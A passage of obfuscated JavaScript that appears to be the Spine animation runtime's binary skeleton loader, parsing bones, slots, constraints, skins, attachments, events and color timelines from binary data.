{ let _0x224ee7 = _0x3c03f2['readString'](); if (!_0x224ee7) throw new Error('Bone\x20name\x20must\x20not\x20be\x20null.'); let _0x589bdb = 0x0 == _0x3e1589 ? null : _0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)], _0x4da2b3 = new _0x20d7c7(_0x3e1589, _0x224ee7, _0x589bdb); _0x4da2b3['rotation'] = _0x3c03f2['readFloat'](), _0x4da2b3['x'] = _0x3c03f2['readFloat']() * _0x576318, _0x4da2b3['y'] = _0x3c03f2['readFloat']() * _0x576318, _0x4da2b3['scaleX'] = _0x3c03f2['readFloat'](), _0x4da2b3['scaleY'] = _0x3c03f2['readFloat'](), _0x4da2b3['shearX'] = _0x3c03f2['readFloat'](), _0x4da2b3['shearY'] = _0x3c03f2['readFloat'](), _0x4da2b3['length'] = _0x3c03f2['readFloat']() * _0x576318, _0x4da2b3['transformMode'] = _0x3c03f2['readInt'](!0x0), _0x4da2b3['skinRequired'] = _0x3c03f2['readBoolean'](), _0x28ee8b && _0x2577a7['rgba8888ToColor'](_0x4da2b3['color'], _0x3c03f2['readInt32']()), _0x2e6fd3['bones']['push'](_0x4da2b3); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x40f9bc = 0x0; _0x40f9bc < _0x22a0ec; _0x40f9bc++) { let _0x48371d = _0x3c03f2['readString'](); if (!_0x48371d) throw new Error('Slot\x20name\x20must\x20not\x20be\x20null.'); let _0x7ba5e3 = _0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)], _0x12debd = new _0x4bf8d9(_0x40f9bc, _0x48371d, _0x7ba5e3); _0x2577a7['rgba8888ToColor'](_0x12debd['color'], _0x3c03f2['readInt32']()); let _0x1656d3 = _0x3c03f2['readInt32'](); -0x1 != _0x1656d3 && _0x2577a7['rgb888ToColor'](_0x12debd['darkColor'] = new _0x2577a7(), _0x1656d3), _0x12debd['attachmentName'] = _0x3c03f2['readStringRef'](), _0x12debd['blendMode'] = _0x3c03f2['readInt'](!0x0), _0x2e6fd3['slots']['push'](_0x12debd); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x111d0e, _0x19730d = 0x0; _0x19730d < _0x22a0ec; _0x19730d++) { let _0x45da11 = _0x3c03f2['readString'](); if (!_0x45da11) throw new Error('IK\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x308e5e = new _0x111144(_0x45da11); _0x308e5e['order'] = _0x3c03f2['readInt'](!0x0), _0x308e5e['skinRequired'] = _0x3c03f2['readBoolean'](), _0x111d0e = _0x3c03f2['readInt'](!0x0); for (let _0x32302e = 0x0; _0x32302e < _0x111d0e; _0x32302e++)_0x308e5e['bones']['push'](_0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)]); _0x308e5e['target'] = _0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)], _0x308e5e['mix'] = _0x3c03f2['readFloat'](), _0x308e5e['softness'] = _0x3c03f2['readFloat']() * _0x576318, _0x308e5e['bendDirection'] = _0x3c03f2['readByte'](), _0x308e5e['compress'] = _0x3c03f2['readBoolean'](), _0x308e5e['stretch'] = _0x3c03f2['readBoolean'](), _0x308e5e['uniform'] = _0x3c03f2['readBoolean'](), _0x2e6fd3['ikConstraints']['push'](_0x308e5e); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x1ff91c, _0x7f3f1e = 0x0; _0x7f3f1e < _0x22a0ec; _0x7f3f1e++) { let _0x1164b1 = _0x3c03f2['readString'](); if (!_0x1164b1) throw new Error('Transform\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x2c92e2 = new _0xab12f5(_0x1164b1); _0x2c92e2['order'] = _0x3c03f2['readInt'](!0x0), _0x2c92e2['skinRequired'] = _0x3c03f2['readBoolean'](), _0x1ff91c = _0x3c03f2['readInt'](!0x0); for (let _0x2e3e81 = 0x0; _0x2e3e81 < _0x1ff91c; _0x2e3e81++)_0x2c92e2['bones']['push'](_0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)]); _0x2c92e2['target'] = _0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)], _0x2c92e2['local'] = _0x3c03f2['readBoolean'](), _0x2c92e2['relative'] = _0x3c03f2['readBoolean'](), _0x2c92e2['offsetRotation'] = _0x3c03f2['readFloat'](), _0x2c92e2['offsetX'] = _0x3c03f2['readFloat']() * _0x576318, _0x2c92e2['offsetY'] = _0x3c03f2['readFloat']() * _0x576318, _0x2c92e2['offsetScaleX'] = _0x3c03f2['readFloat'](), _0x2c92e2['offsetScaleY'] = _0x3c03f2['readFloat'](), _0x2c92e2['offsetShearY'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixRotate'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixX'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixY'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixScaleX'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixScaleY'] = _0x3c03f2['readFloat'](), _0x2c92e2['mixShearY'] = _0x3c03f2['readFloat'](), _0x2e6fd3['transformConstraints']['push'](_0x2c92e2); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x42ff64, _0x4009de = 0x0; _0x4009de < _0x22a0ec; _0x4009de++) { let _0x3a49e5 = _0x3c03f2['readString'](); if (!_0x3a49e5) throw new Error('Path\x20constraint\x20data\x20name\x20must\x20not\x20be\x20null.'); let _0x544779 = new _0x7cd642(_0x3a49e5); _0x544779['order'] = _0x3c03f2['readInt'](!0x0), _0x544779['skinRequired'] = _0x3c03f2['readBoolean'](), _0x42ff64 = _0x3c03f2['readInt'](!0x0); for (let _0x1f714f = 0x0; _0x1f714f < _0x42ff64; _0x1f714f++)_0x544779['bones']['push'](_0x2e6fd3['bones'][_0x3c03f2['readInt'](!0x0)]); _0x544779['target'] = _0x2e6fd3['slots'][_0x3c03f2['readInt'](!0x0)], _0x544779['positionMode'] = _0x3c03f2['readInt'](!0x0), _0x544779['spacingMode'] = _0x3c03f2['readInt'](!0x0), _0x544779['rotateMode'] = _0x3c03f2['readInt'](!0x0), _0x544779['offsetRotation'] = _0x3c03f2['readFloat'](), _0x544779['position'] = _0x3c03f2['readFloat'](), 0x0 == _0x544779['positionMode'] && (_0x544779['position'] *= _0x576318), _0x544779['spacing'] = _0x3c03f2['readFloat'](), 0x0 != _0x544779['spacingMode'] && 0x1 != _0x544779['spacingMode'] || (_0x544779['spacing'] *= _0x576318), _0x544779['mixRotate'] = _0x3c03f2['readFloat'](), _0x544779['mixX'] = _0x3c03f2['readFloat'](), _0x544779['mixY'] = _0x3c03f2['readFloat'](), _0x2e6fd3['pathConstraints']['push'](_0x544779); } let _0x43d439 = this['readSkin'](_0x3c03f2, _0x2e6fd3, !0x0, _0x28ee8b); _0x43d439 && (_0x2e6fd3['defaultSkin'] = _0x43d439, _0x2e6fd3['skins']['push'](_0x43d439)); { let _0x23dad5 = _0x2e6fd3['skins']['length']; for (_0x380bba['setArraySize'](_0x2e6fd3['skins'], _0x22a0ec = _0x23dad5 + _0x3c03f2['readInt'](!0x0)); _0x23dad5 < _0x22a0ec; _0x23dad5++) { let _0xf1833f = this['readSkin'](_0x3c03f2, _0x2e6fd3, !0x1, _0x28ee8b); if (!_0xf1833f) throw new Error('readSkin()\x20should\x20not\x20have\x20returned\x20null.'); _0x2e6fd3['skins'][_0x23dad5] = _0xf1833f; } } _0x22a0ec = this['linkedMeshes']['length']; for (let _0x29e4ee = 0x0; _0x29e4ee < _0x22a0ec; _0x29e4ee++) { let _0x58421e = this['linkedMeshes'][_0x29e4ee], _0x565fa3 = _0x58421e['skin'] ? _0x2e6fd3['findSkin'](_0x58421e['skin']) : _0x2e6fd3['defaultSkin']; if (!_0x565fa3) throw new Error('Not\x20skin\x20found\x20for\x20linked\x20mesh.'); if (!_0x58421e['parent']) throw new Error('Linked\x20mesh\x20parent\x20must\x20not\x20be\x20null'); let _0x34b88b = _0x565fa3['getAttachment'](_0x58421e['slotIndex'], _0x58421e['parent']); if (!_0x34b88b) throw new Error('Parent\x20mesh\x20not\x20found:\x20' + _0x58421e['parent']); _0x58421e['mesh']['timelineAttachment'] = _0x58421e['inheritTimeline'] ? _0x34b88b : _0x58421e['mesh'], _0x58421e['mesh']['setParentMesh'](_0x34b88b), null != _0x58421e['mesh']['region'] && _0x58421e['mesh']['updateRegion'](); } this['linkedMeshes']['length'] = 0x0, _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x50f8e0 = 0x0; _0x50f8e0 < _0x22a0ec; _0x50f8e0++) { let _0x4f01cd = _0x3c03f2['readStringRef'](); if (!_0x4f01cd) throw new Error(); let _0x126d36 = new _0x3d9433(_0x4f01cd); _0x126d36['intValue'] = _0x3c03f2['readInt'](!0x1), _0x126d36['floatValue'] = _0x3c03f2['readFloat'](), _0x126d36['stringValue'] = _0x3c03f2['readString'](), _0x126d36['audioPath'] = _0x3c03f2['readString'](), _0x126d36['audioPath'] && (_0x126d36['volume'] = _0x3c03f2['readFloat'](), _0x126d36['balance'] = _0x3c03f2['readFloat']()), _0x2e6fd3['events']['push'](_0x126d36); } _0x22a0ec = _0x3c03f2['readInt'](!0x0); for (let _0x36aa1b = 0x0; _0x36aa1b < _0x22a0ec; _0x36aa1b++) { let _0x3a121c = _0x3c03f2['readString'](); if (!_0x3a121c) throw new Error('Animatio\x20name\x20must\x20not\x20be\x20null.'); _0x2e6fd3['animations']['push'](this['readAnimation'](_0x3c03f2, _0x3a121c, _0x2e6fd3)); } return _0x2e6fd3; } ['readSkin'](_0x1d6773, _0x506924, _0x1f1c2a, _0x2042fd) { let _0x483bf0 = null, _0x12832e = 0x0; if (_0x1f1c2a) { if (_0x12832e = _0x1d6773['readInt'](!0x0), 0x0 == _0x12832e) return null; _0x483bf0 = new _0x511113('default'); } else { let _0x44d652 = _0x1d6773['readStringRef'](); if (!_0x44d652) throw new Error('Skin\x20name\x20must\x20not\x20be\x20null.'); _0x483bf0 = new _0x511113(_0x44d652), _0x483bf0['bones']['length'] = _0x1d6773['readInt'](!0x0); for (let _0x126e9e = 0x0, _0x3f816c = _0x483bf0['bones']['length']; _0x126e9e < _0x3f816c; _0x126e9e++)_0x483bf0['bones'][_0x126e9e] = _0x506924['bones'][_0x1d6773['readInt'](!0x0)]; for (let _0x19cb01 = 0x0, _0x164041 = _0x1d6773['readInt'](!0x0); _0x19cb01 < _0x164041; _0x19cb01++)_0x483bf0['constraints']['push'](_0x506924['ikConstraints'][_0x1d6773['readInt'](!0x0)]); for (let _0x12f2dd = 0x0, _0x386ad7 = _0x1d6773['readInt'](!0x0); _0x12f2dd < _0x386ad7; _0x12f2dd++)_0x483bf0['constraints']['push'](_0x506924['transformConstraints'][_0x1d6773['readInt'](!0x0)]); for (let _0x859c4 = 0x0, _0x2e9a73 = _0x1d6773['readInt'](!0x0); _0x859c4 < _0x2e9a73; _0x859c4++)_0x483bf0['constraints']['push'](_0x506924['pathConstraints'][_0x1d6773['readInt'](!0x0)]); _0x12832e = _0x1d6773['readInt'](!0x0); } for (let _0x218c06 = 0x0; _0x218c06 < _0x12832e; _0x218c06++) { let _0x400a13 = _0x1d6773['readInt'](!0x0); for (let _0x267a97 = 0x0, _0x587ffb = _0x1d6773['readInt'](!0x0); _0x267a97 < _0x587ffb; _0x267a97++) { let _0x42c873 = _0x1d6773['readStringRef'](); if (!_0x42c873) throw new Error('Attachment\x20name\x20must\x20not\x20be\x20null'); let _0x364492 = this['readAttachment'](_0x1d6773, _0x506924, _0x483bf0, _0x400a13, _0x42c873, _0x2042fd); _0x364492 && _0x483bf0['setAttachment'](_0x400a13, _0x42c873, _0x364492); } } return _0x483bf0; } ['readAttachment'](_0x2bd9d5, _0x48832a, _0x33315c, _0x142635, _0x24bac9, _0x363c25) { let _0x23e512 = this['scale'], _0x226676 = _0x2bd9d5['readStringRef'](); switch (_0x226676 || (_0x226676 = _0x24bac9), _0x2bd9d5['readByte']()) { case _0x3e7142['Region']: { let _0x51950f = _0x2bd9d5['readStringRef'](), _0xd66889 = _0x2bd9d5['readFloat'](), _0x116d94 = _0x2bd9d5['readFloat'](), _0x4f26cd = _0x2bd9d5['readFloat'](), _0x34b4e3 = _0x2bd9d5['readFloat'](), _0x1e9655 = _0x2bd9d5['readFloat'](), _0x4bd216 = _0x2bd9d5['readFloat'](), _0x16e580 = _0x2bd9d5['readFloat'](), _0x31d843 = _0x2bd9d5['readInt32'](), _0x52ba3f = this['readSequence'](_0x2bd9d5); _0x51950f || (_0x51950f = _0x226676); let _0x1a261c = this['attachmentLoader']['newRegionAttachment'](_0x33315c, _0x226676, _0x51950f, _0x52ba3f); return _0x1a261c ? (_0x1a261c['path'] = _0x51950f, _0x1a261c['x'] = _0x116d94 * _0x23e512, _0x1a261c['y'] = _0x4f26cd * _0x23e512, _0x1a261c['scaleX'] = _0x34b4e3, _0x1a261c['scaleY'] = _0x1e9655, _0x1a261c['rotation'] = _0xd66889, _0x1a261c['width'] = _0x4bd216 * _0x23e512, _0x1a261c['height'] = _0x16e580 * _0x23e512, _0x2577a7['rgba8888ToColor'](_0x1a261c['color'], _0x31d843), _0x1a261c['sequence'] = _0x52ba3f, null == _0x52ba3f && _0x1a261c['updateRegion'](), _0x1a261c) : null; } case _0x3e7142['BoundingBox']: { let _0x3a5aaf = _0x2bd9d5['readInt'](!0x0), _0x38049e = this['readVertices'](_0x2bd9d5, _0x3a5aaf), _0x1cb61a = _0x363c25 ? _0x2bd9d5['readInt32']() : 0x0, _0x497ce5 = this['attachmentLoader']['newBoundingBoxAttachment'](_0x33315c, _0x226676); return _0x497ce5 ? (_0x497ce5['worldVerticesLength'] = _0x3a5aaf << 0x1, _0x497ce5['vertices'] = _0x38049e['vertices'], _0x497ce5['bones'] = _0x38049e['bones'], _0x363c25 && _0x2577a7['rgba8888ToColor'](_0x497ce5['color'], _0x1cb61a), _0x497ce5) : null; } case _0x3e7142['Mesh']: { let _0x288f68 = _0x2bd9d5['readStringRef'](), _0xdc29ea = _0x2bd9d5['readInt32'](), _0x3362af = _0x2bd9d5['readInt'](!0x0), _0xeff086 = this['readFloatArray'](_0x2bd9d5, _0x3362af << 0x1, 0x1), _0x565294 = this['readShortArray'](_0x2bd9d5), _0x391adc = this['readVertices'](_0x2bd9d5, _0x3362af), _0x2681d9 = _0x2bd9d5['readInt'](!0x0), _0x333e06 = this['readSequence'](_0x2bd9d5), _0x2d4641 = [], _0x1715d5 = 0x0, _0x30dee9 = 0x0; _0x363c25 && (_0x2d4641 = this['readShortArray'](_0x2bd9d5), _0x1715d5 = _0x2bd9d5['readFloat'](), _0x30dee9 = _0x2bd9d5['readFloat']()), _0x288f68 || (_0x288f68 = _0x226676); let _0x2e8a60 = this['attachmentLoader']['newMeshAttachment'](_0x33315c, _0x226676, _0x288f68, _0x333e06); return _0x2e8a60 ? (_0x2e8a60['path'] = _0x288f68, _0x2577a7['rgba8888ToColor'](_0x2e8a60['color'], _0xdc29ea), _0x2e8a60['bones'] = _0x391adc['bones'], _0x2e8a60['vertices'] = _0x391adc['vertices'], _0x2e8a60['worldVerticesLength'] = _0x3362af << 0x1, _0x2e8a60['triangles'] = _0x565294, _0x2e8a60['regionUVs'] = _0xeff086, null == _0x333e06 && _0x2e8a60['updateRegion'](), _0x2e8a60['hullLength'] = _0x2681d9 << 0x1, _0x2e8a60['sequence'] = _0x333e06, _0x363c25 && (_0x2e8a60['edges'] = _0x2d4641, _0x2e8a60['width'] = _0x1715d5 * _0x23e512, _0x2e8a60['height'] = _0x30dee9 * _0x23e512), _0x2e8a60) : null; } case _0x3e7142['LinkedMesh']: { let _0x5966a3 = _0x2bd9d5['readStringRef'](), _0x2ac678 = _0x2bd9d5['readInt32'](), _0x5c3a46 = _0x2bd9d5['readStringRef'](), _0x10b26a = _0x2bd9d5['readStringRef'](), _0x219f13 = _0x2bd9d5['readBoolean'](), _0x50b763 = this['readSequence'](_0x2bd9d5), _0x3bc78 = 0x0, _0x3fe4b8 = 0x0; _0x363c25 && (_0x3bc78 = _0x2bd9d5['readFloat'](), _0x3fe4b8 = _0x2bd9d5['readFloat']()), _0x5966a3 || (_0x5966a3 = _0x226676); let _0x8e6ac1 = this['attachmentLoader']['newMeshAttachment'](_0x33315c, _0x226676, _0x5966a3, _0x50b763); return _0x8e6ac1 ? (_0x8e6ac1['path'] = _0x5966a3, _0x2577a7['rgba8888ToColor'](_0x8e6ac1['color'], _0x2ac678), _0x8e6ac1['sequence'] = _0x50b763, _0x363c25 && (_0x8e6ac1['width'] = _0x3bc78 * _0x23e512, _0x8e6ac1['height'] = _0x3fe4b8 * _0x23e512), this['linkedMeshes']['push'](new _0x19f2d4(_0x8e6ac1, _0x5c3a46, _0x142635, _0x10b26a, _0x219f13)), _0x8e6ac1) : null; } case _0x3e7142['Path']: { let _0x1a5697 = _0x2bd9d5['readBoolean'](), _0x4831c3 = _0x2bd9d5['readBoolean'](), _0x208b60 = _0x2bd9d5['readInt'](!0x0), _0x2b1847 = this['readVertices'](_0x2bd9d5, _0x208b60), _0x338355 = _0x380bba['newArray'](_0x208b60 / 0x3, 0x0); for (let _0x4427bc = 0x0, _0x160d14 = _0x338355['length']; _0x4427bc < _0x160d14; _0x4427bc++)_0x338355[_0x4427bc] = _0x2bd9d5['readFloat']() * _0x23e512; let _0x534acb = _0x363c25 ? _0x2bd9d5['readInt32']() : 0x0, _0x33effa = this['attachmentLoader']['newPathAttachment'](_0x33315c, _0x226676); return _0x33effa ? (_0x33effa['closed'] = _0x1a5697, _0x33effa['constantSpeed'] = _0x4831c3, _0x33effa['worldVerticesLength'] = _0x208b60 << 0x1, _0x33effa['vertices'] = _0x2b1847['vertices'], _0x33effa['bones'] = _0x2b1847['bones'], _0x33effa['lengths'] = _0x338355, _0x363c25 && _0x2577a7['rgba8888ToColor'](_0x33effa['color'], _0x534acb), _0x33effa) : null; } case _0x3e7142['Point']: { let _0x100a85 = _0x2bd9d5['readFloat'](), _0x53d4e4 = _0x2bd9d5['readFloat'](), _0x2875f7 = _0x2bd9d5['readFloat'](), _0x398bbe = _0x363c25 ? _0x2bd9d5['readInt32']() : 0x0, _0x1da2a2 = this['attachmentLoader']['newPointAttachment'](_0x33315c, _0x226676); return _0x1da2a2 ? (_0x1da2a2['x'] = _0x53d4e4 * _0x23e512, _0x1da2a2['y'] = _0x2875f7 * _0x23e512, _0x1da2a2['rotation'] = _0x100a85, _0x363c25 && _0x2577a7['rgba8888ToColor'](_0x1da2a2['color'], _0x398bbe), _0x1da2a2) : null; } case _0x3e7142['Clipping']: { let _0x16fab9 = _0x2bd9d5['readInt'](!0x0), _0xf2587d = _0x2bd9d5['readInt'](!0x0), _0x930c45 = this['readVertices'](_0x2bd9d5, _0xf2587d), _0x1cf743 = _0x363c25 ? _0x2bd9d5['readInt32']() : 0x0, _0x16c356 = this['attachmentLoader']['newClippingAttachment'](_0x33315c, _0x226676); return _0x16c356 ? (_0x16c356['endSlot'] = _0x48832a['slots'][_0x16fab9], _0x16c356['worldVerticesLength'] = _0xf2587d << 0x1, _0x16c356['vertices'] = _0x930c45['vertices'], _0x16c356['bones'] = _0x930c45['bones'], _0x363c25 && _0x2577a7['rgba8888ToColor'](_0x16c356['color'], _0x1cf743), _0x16c356) : null; } }return null; } ['readSequence'](_0x50e641) { if (!_0x50e641['readBoolean']()) return null; let _0x314851 = new _0x5f6ea8(_0x50e641['readInt'](!0x0)); return _0x314851['start'] = _0x50e641['readInt'](!0x0), _0x314851['digits'] = _0x50e641['readInt'](!0x0), _0x314851['setupIndex'] = _0x50e641['readInt'](!0x0), _0x314851; } ['readVertices'](_0x1a8b52, _0x1d30bb) { let _0x33966f = this['scale'], _0x28a132 = _0x1d30bb << 0x1, _0x82fb40 = new _0x5bd356(); if (!_0x1a8b52['readBoolean']()) return _0x82fb40['vertices'] = this['readFloatArray'](_0x1a8b52, _0x28a132, _0x33966f), _0x82fb40; let _0xc56ed2 = new Array(), _0x4fcc89 = new Array(); for (let _0x1cbc03 = 0x0; _0x1cbc03 < _0x1d30bb; _0x1cbc03++) { let _0x3429bb = _0x1a8b52['readInt'](!0x0); _0x4fcc89['push'](_0x3429bb); for (let _0x2af02b = 0x0; _0x2af02b < _0x3429bb; _0x2af02b++)_0x4fcc89['push'](_0x1a8b52['readInt'](!0x0)), _0xc56ed2['push'](_0x1a8b52['readFloat']() * _0x33966f), _0xc56ed2['push'](_0x1a8b52['readFloat']() * _0x33966f), _0xc56ed2['push'](_0x1a8b52['readFloat']()); } return _0x82fb40['vertices'] = _0x380bba['toFloatArray'](_0xc56ed2), _0x82fb40['bones'] = _0x4fcc89, _0x82fb40; } ['readFloatArray'](_0x5c10e8, _0x3030ad, _0x55231f) { let _0x3a91c7 = new Array(_0x3030ad); if (0x1 == _0x55231f) { for (let _0x5b2053 = 0x0; _0x5b2053 < _0x3030ad; _0x5b2053++)_0x3a91c7[_0x5b2053] = _0x5c10e8['readFloat'](); } else { for (let _0x388996 = 0x0; _0x388996 < _0x3030ad; _0x388996++)_0x3a91c7[_0x388996] = _0x5c10e8['readFloat']() * _0x55231f; } return _0x3a91c7; } ['readShortArray'](_0x437c83) { let _0x584667 = _0x437c83['readInt'](!0x0), _0x5adbf7 = new Array(_0x584667); for (let _0x5a257a = 0x0; _0x5a257a < _0x584667; _0x5a257a++)_0x5adbf7[_0x5a257a] = _0x437c83['readShort'](); return _0x5adbf7; } ['readAnimation'](_0x3477b3, _0x4acf09, _0x45bcd5) { _0x3477b3['readInt'](!0x0); let _0x15450e = new Array(), _0x20cada = this['scale']; new _0x2577a7(), new _0x2577a7(); for (let _0x59b0b9 = 0x0, _0x514a7b = _0x3477b3['readInt'](!0x0); _0x59b0b9 < _0x514a7b; _0x59b0b9++) { let _0x3852b1 = _0x3477b3['readInt'](!0x0); for (let _0x3c9049 = 0x0, _0x2be7f9 = _0x3477b3['readInt'](!0x0); _0x3c9049 < _0x2be7f9; _0x3c9049++) { let _0x1cb229 = _0x3477b3['readByte'](), _0x6a4cac = _0x3477b3['readInt'](!0x0), _0x55c3bb = _0x6a4cac - 0x1; switch (_0x1cb229) { case _0x1e9b93: { let _0x1fb32e = new _0x150783(_0x6a4cac, _0x3852b1); for (let _0x597ee3 = 0x0; _0x597ee3 < _0x6a4cac; _0x597ee3++)_0x1fb32e['setFrame'](_0x597ee3, _0x3477b3['readFloat'](), _0x3477b3['readStringRef']()); _0x15450e['push'](_0x1fb32e); break; } case _0x3221b7: { let _0x2ebba9 = _0x3477b3['readInt'](!0x0), _0x3bbbff = new _0x1c6845(_0x6a4cac, _0x2ebba9, _0x3852b1), _0x9ee90c = _0x3477b3['readFloat'](), _0xf62911 = _0x3477b3['readUnsignedByte']() / 0xff, _0x103e01 = _0x3477b3['readUnsignedByte']() / 0xff, _0x45082e = _0x3477b3['readUnsignedByte']() / 0xff, _0x2c88e5 = _0x3477b3['readUnsignedByte']() / 0xff; for (let _0x2937d3 = 0x0, _0x547da1 = 0x0; _0x3bbbff['setFrame'](_0x2937d3, _0x9ee90c, _0xf62911, _0x103e01, _0x45082e, _0x2c88e5), _0x2937d3 != _0x55c3bb; _0x2937d3++) { let _0xd42780 = _0x3477b3['readFloat'](), _0x3cdcaa = _0x3477b3['readUnsignedByte']() / 0xff, _0x368adb = _0x3477b3['readUnsignedByte']() / 0xff, _0x45cfb4 = _0x3477b3['readUnsignedByte']() / 0xff, _0x248c1c = _0x3477b3['readUnsignedByte']() / 0xff; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x3bbbff['setStepped'](_0x2937d3); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x3bbbff, _0x547da1++, _0x2937d3, 0x0, _0x9ee90c, _0xd42780, _0xf62911, _0x3cdcaa, 0x1), _0x5eedd6(_0x3477b3, _0x3bbbff, _0x547da1++, _0x2937d3, 0x1, _0x9ee90c, _0xd42780, _0x103e01, _0x368adb, 0x1), _0x5eedd6(_0x3477b3, _0x3bbbff, _0x547da1++, _0x2937d3, 0x2, _0x9ee90c, _0xd42780, _0x45082e, _0x45cfb4, 0x1), _0x5eedd6(_0x3477b3, _0x3bbbff, _0x547da1++, _0x2937d3, 0x3, _0x9ee90c, _0xd42780, _0x2c88e5, _0x248c1c, 0x1); }_0x9ee90c = _0xd42780, _0xf62911 = _0x3cdcaa, _0x103e01 = _0x368adb, _0x45082e = _0x45cfb4, _0x2c88e5 = _0x248c1c; } _0x15450e['push'](_0x3bbbff); break; } case _0x24ff22: { let _0x581e40 = _0x3477b3['readInt'](!0x0), _0x546366 = new _0xe2f048(_0x6a4cac, _0x581e40, _0x3852b1), _0x5e95b1 = _0x3477b3['readFloat'](), _0x1ab8bf = _0x3477b3['readUnsignedByte']() / 0xff, _0x40a8aa = _0x3477b3['readUnsignedByte']() / 0xff, _0x49ef9e = _0x3477b3['readUnsignedByte']() / 0xff; for (let _0x5837d0 = 0x0, _0x3c99e8 = 0x0; _0x546366['setFrame'](_0x5837d0, _0x5e95b1, _0x1ab8bf, _0x40a8aa, _0x49ef9e), _0x5837d0 != _0x55c3bb; _0x5837d0++) { let _0x45844c = _0x3477b3['readFloat'](), _0x438ced = _0x3477b3['readUnsignedByte']() / 0xff, _0x519bd8 = _0x3477b3['readUnsignedByte']() / 0xff, _0xc24c1d = _0x3477b3['readUnsignedByte']() / 0xff; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0x546366['setStepped'](_0x5837d0); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0x546366, _0x3c99e8++, _0x5837d0, 0x0, _0x5e95b1, _0x45844c, _0x1ab8bf, _0x438ced, 0x1), _0x5eedd6(_0x3477b3, _0x546366, _0x3c99e8++, _0x5837d0, 0x1, _0x5e95b1, _0x45844c, _0x40a8aa, _0x519bd8, 0x1), _0x5eedd6(_0x3477b3, _0x546366, _0x3c99e8++, _0x5837d0, 0x2, _0x5e95b1, _0x45844c, _0x49ef9e, _0xc24c1d, 0x1); }_0x5e95b1 = _0x45844c, _0x1ab8bf = _0x438ced, _0x40a8aa = _0x519bd8, _0x49ef9e = _0xc24c1d; } _0x15450e['push'](_0x546366); break; } case _0x3fccc9: { let _0x321abe = _0x3477b3['readInt'](!0x0), _0xb334ec = new _0x1a8cbe(_0x6a4cac, _0x321abe, _0x3852b1), _0x1ab099 = _0x3477b3['readFloat'](), _0x31b33e = _0x3477b3['readUnsignedByte']() / 0xff, _0x3d0233 = _0x3477b3['readUnsignedByte']() / 0xff, _0x2951c8 = _0x3477b3['readUnsignedByte']() / 0xff, _0x52a655 = _0x3477b3['readUnsignedByte']() / 0xff, _0x40c69c = _0x3477b3['readUnsignedByte']() / 0xff, _0xeb171e = _0x3477b3['readUnsignedByte']() / 0xff, _0xcd407c = _0x3477b3['readUnsignedByte']() / 0xff; for (let _0x1bcfe4 = 0x0, _0x2174ff = 0x0; _0xb334ec['setFrame'](_0x1bcfe4, _0x1ab099, _0x31b33e, _0x3d0233, _0x2951c8, _0x52a655, _0x40c69c, _0xeb171e, _0xcd407c), _0x1bcfe4 != _0x55c3bb; _0x1bcfe4++) { let _0x59c073 = _0x3477b3['readFloat'](), _0x4683e5 = _0x3477b3['readUnsignedByte']() / 0xff, _0x4b1b08 = _0x3477b3['readUnsignedByte']() / 0xff, _0x1c6fc8 = _0x3477b3['readUnsignedByte']() / 0xff, _0x527ff3 = _0x3477b3['readUnsignedByte']() / 0xff, _0x2526d5 = _0x3477b3['readUnsignedByte']() / 0xff, _0x119462 = _0x3477b3['readUnsignedByte']() / 0xff, _0x451724 = _0x3477b3['readUnsignedByte']() / 0xff; switch (_0x3477b3['readByte']()) { case _0x39b3cb: _0xb334ec['setStepped'](_0x1bcfe4); break; case _0x46e409: _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x0, _0x1ab099, _0x59c073, _0x31b33e, _0x4683e5, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x1, _0x1ab099, _0x59c073, _0x3d0233, _0x4b1b08, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x2, _0x1ab099, _0x59c073, _0x2951c8, _0x1c6fc8, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x3, _0x1ab099, _0x59c073, _0x52a655, _0x527ff3, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x4, _0x1ab099, _0x59c073, _0x40c69c, _0x2526d5, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x5, _0x1ab099, _0x59c073, _0xeb171e, _0x119462, 0x1), _0x5eedd6(_0x3477b3, _0xb334ec, _0x2174ff++, _0x1bcfe4, 0x6, _0x1ab099, _0x59c073, _0xcd407c, _0x451724, 0x1); }_0x1ab099 = _0x59c073, _0x31b33e = _0x4683e5, _0x3d0233 = _0x4b1b08, _0x2951c8 = _0x1c6fc8, _0x52a655 = _0x527ff3, _0x40c69c = _0x2526d5, _0xeb171e = _0x119462, _0xcd407c = _0x451724; } _0x15450e['push'](_0xb334ec); break; } case _0x246990: { let _0x1e317e = _0x3477b3['readInt'](!0x0), _0xf5b62a = new _0x504db7(_0x6a4cac, _0x1e317e, _0x3852b1), _0x2c33d1 = _0x3477b3['readFloat'](), _0xbdc896 = _0x3477b3['readUnsignedByte']() / 0xff, _0x29986e = _0x3477b3['readUnsignedByte']() / 0xff, _0xc1a114 = _0x3477b3['readUnsignedByte']() / 0xff, _0x6f3583 = _0x3477b3['readUnsignedByte']() / 0xff, _0x1da23d = _0x3477b3['readUnsignedByte']() / 